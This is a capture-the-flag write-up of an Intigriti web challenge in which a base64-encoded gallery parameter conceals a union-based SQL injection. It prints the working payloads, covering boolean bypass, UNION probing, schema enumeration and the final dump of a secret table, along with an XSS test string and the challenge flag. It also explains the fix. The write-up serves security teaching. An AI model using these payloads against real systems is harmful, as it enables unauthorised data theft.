Intigriti's archive of past challenges includes many XSS exercises, so an HTML sink was a natural first hypothesis.
September's challenge, “Critter Gallery” by khanhdlq, made that first hypothesis look plausible. The tested HTML-element payload was encoded in the two visible text nodes. The route that recovered the flag was SQL injection.
The actual bug is a union-based SQL injection hidden behind a base64 parameter, and the tell that gets you there is a single uppercase letter.
INTIGRITI{01a09f56-74a2-700b-a849-ffe6742327b2}First contact
The challenge is a small gallery of animals. Eight tiles, eight emoji, and a detail view when you click one.
The interesting part is in the links:
<a class="tile" href="?pic=Zm94"> <!-- fox -->
<a class="tile" href="?pic=cGFuZGE="> <!-- panda -->
<a class="tile" href="?pic=bGlvbg=="> <!-- lion -->
Zm94 is base64 for fox. The relevant pic parameter is supplied as base64, and the response reflects the decoded text.
Clicking through to ?pic=Zm94 gives you a detail card with three pieces of output:
<div class="art">🦊</div>
<h2>fox</h2>
<div class="desc">The red fox is a clever, highly adaptable hunter.<br></div>
Three things derived from one input. That is a good shape for a challenge, because it means the three things might not be derived the same way — and where they disagree, you learn something.
An unknown name gives a placeholder emoji and an unknown-name message.
The first hypothesis
The decoded value is echoed into <h2>, so HTML injection was a natural check. The saved HTML-element control, shown later, is entity-encoded in the heading and description. It did not produce XSS in either observed text node.
The raw <br> after the description was a reason to check this carefully: it could have meant the description was being inserted as HTML.
The captured payload was encoded before that <br>, so the tag does not make this tested description payload executable.
A second control pushed on that further. Angle brackets being encoded is the minimum; the more interesting question is what happens to quotes, because quote handling is what separates a safe text node from a safe attribute. Sending the decoded value x''"<>& with doubled single quotes returned a complete page:
<h2>x''"<>&</h2>
All five metacharacters encoded, both quote characters included. That is a statement about this heading node and this input, not about the page's output handling in general, and no attribute-context sink was observed here anyway.
The response encoding narrowed this XSS idea. The next clue came from how the same input affected different parts of the page.
The tell
Go back to the three outputs, and go looking for the place where they disagree.
Try the animal's name in uppercase:
payload: FOX
base64: Rk9Y
<div class="art">🖼️</div> <!-- placeholder -->
<h2>FOX</h2>
<div class="desc">The red fox is a clever, highly adaptable hunter.<br></div>
There it is.
The emoji doesn't recognise FOX. The description does.
Two outputs for the same input disagree about whether it matched. The emoji behaves as though it uses a case-sensitive lookup; the description uses a case-insensitive one. That difference suggested a database lookup for descriptions.
That was a clue, not proof. Application code can also normalize case.
MySQL can perform a case-insensitive comparison through column collation, so a query was a concrete hypothesis to test.
| Decoded input | Observed response | Why it mattered |
|---|---|---|
FOX | Fox description, placeholder emoji | The two outputs match differently. |
fox' / fox'' / fox\ | Empty body / normal fallback / empty body | Quote and backslash behavior fits a quoted SQL value. |
zzz' OR '1'='1 | All eight animal descriptions in one description block, for a name that does not exist | Input changes the result set. |
zzz' UNION SELECT 1-- - | 1 in the description | One-column UNION controls output. |
Confirming it
Once you think there's a query, confirmation is the oldest test in the book. Everything below is the decoded payload; each one gets base64'd into pic.
fox' → HTTP 200, empty body
fox'' → normal page, unknown-name fallback
fox\ → HTTP 200, empty body
This pattern fits an unescaped quoted SQL value, including the way MySQL treats a backslash in a string literal. On its own, an empty body is only a symptom; the boolean and UNION controls below make the injection case decisive.
An illustrative query shape is:
$name = base64_decode($_GET['pic']);
$sql = "SELECT description FROM animals WHERE name = '$name'";
This is a model of the observed behavior, not recovered server source. A boolean check then tested whether input controlled the result set:
zzz' OR '1'='1
zzz is not an animal, yet the page returns all eight animal descriptions separated by <br> inside one .desc element; the baseline has only the fox description. The injected condition changed the output rather than only causing errors. The capture shows eight descriptions, but it does not establish whether the application combined multiple rows or the query aggregated them.
The earlier <br> makes more sense in these captures. The baseline fox response has one trailing break; the eight-description response has eight. The later UNION SELECT 1 and flag responses each have one. That pattern is consistent with a break added for each displayed value, though the response does not reveal whether SQL or application code combined the values into one .desc element.
Shaping the payload
Union injection needs the column count to match. Walk it up until it stops erroring:
zzz' UNION SELECT 1-- - → description renders as "1" ✅
zzz' UNION SELECT 1,2-- - → blank page ❌
The tested UNION result has one column, and the page renders its value as a description string.
That “1” appearing in the description box shows controlled SQL output. The flag still has to be located and retrieved.
Enumeration
zzz' UNION SELECT concat(@@version,' | ',database(),' | ',user())-- -
8.0.46 | critter_gallery | [email protected]
MySQL 8.0.46. That confirmed the database hypothesis raised by the FOX response.
A collation lookup bound to the current schema returned:
name:utf8mb4_0900_ai_ci,description:utf8mb4_0900_ai_ci
_ci is a case-insensitive collation, which is consistent with FOX matching fox in the description while the emoji lookup did not. An earlier version of this query filtered only on table name and not on schema; the schema-bound capture is the one this paragraph rests on.
Tables next:
zzz' UNION SELECT group_concat(table_name)
FROM information_schema.tables WHERE table_schema=database()-- -
animals,secret_vault
secret_vault. Subtle. Columns:
zzz' UNION SELECT group_concat(concat(table_name,'.',column_name,':',column_type) SEPARATOR ' || ')
FROM information_schema.columns WHERE table_schema=database()-- -
animals.id:int || animals.name:varchar(64) || animals.description:varchar(255)
|| secret_vault.id:int || secret_vault.note:varchar(255)
animals is exactly the shape the page implied, supporting the query model. And secret_vault.note is a single varchar column that fits the UNION result.
The flag
zzz' UNION SELECT note FROM secret_vault-- -
Base64'd:
enp6JyBVTklPTiBTRUxFQ1Qgbm90ZSBGUk9NIHNlY3JldF92YXVsdC0tIC0=
Full URL:
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=enp6JyBVTklPTiBTRUxFQ1Qgbm90ZSBGUk9NIHNlY3JldF92YXVsdC0tIC0=
And the gallery helpfully renders it as an animal description:
INTIGRITI{01a09f56-74a2-700b-a849-ffe6742327b2}
🦊
Checking the XSS idea
After retrieving the flag, one control tested whether the UNION result could be inserted as raw HTML.
The UNION result reaches the description node, making an HTML-element test worth running before claiming any XSS escalation.
So:
zzz' UNION SELECT '<img src=x onerror=alert(document.domain)>'-- -
<div class="desc"><img src=x onerror=alert(document.domain)><br></div>
Encoded. This direct payload did not execute.
This request shows that the tested description value is entity-encoded before the visible <br>. It stops an unsupported claim that this payload escalates to XSS; it does not rule out every other possible XSS path.
The negative control is cheap and makes the write-up more accurate.
The saved requests do not demonstrate file access, writes, OS access, or application-data retrieval outside the identified challenge tables. The information_schema queries retrieved metadata. No broader capability is needed to explain the solve.
Why this bug existed
The tested heading and description values are entity-encoded in the saved response. That observation is narrower than an audit of all output handling.
The SQL controls show that the decoded input can change the query. Base64 feels like sanitisation, but it is an encoding layer: it preserves the quote and UNION syntax once decoded. The exact server-side SQL construction was not available to inspect.
It also does something sneakier to the person hunting: it makes the parameter look machine-generated. ?pic=Zm94 reads like an internal identifier, an opaque handle, something the application produced for itself. That appearance can distract from testing the decoded value.
The usual fix for this query shape is a prepared statement. For example, in PHP:
$stmt = $pdo->prepare('SELECT description FROM animals WHERE name = ?');
$stmt->execute([$name]);
Takeaways
Look for places where two outputs from one input disagree. The whole solve pivots on FOX matching the description but not the emoji. Neither output is interesting alone; the contradiction between them is what exposes a second lookup with different semantics. When a page derives several things from one parameter, feed it something that sits on the boundary and watch which parts flinch.
Unexplained case-insensitivity is a useful clue. Here it motivated a database test, and the subsequent UNION response confirmed SQL control. The case difference alone would not have proved a database was involved.
Use controls beyond an error page. The quote and backslash behavior supported a string-literal hypothesis. The boolean and UNION responses proved that input changed the SQL result.
Encoding is not validation. Encoding does not make attacker-controlled data safe once it is decoded and inserted into a query.
Run the negative control. The tested HTML-element payload did not execute in the observed output nodes. That is enough to reject this proposed escalation.
AI assistance: Claude helped with the initial investigation and evidence capture. Codex audited the saved requests and responses and edited this write-up. Stevenson personally replayed the final payload, observed the flag, and approved the Intigriti submission.
Challenge: challenge-0926.challenges.intigriti.io by khanhdlq, running 21–28 September 2026.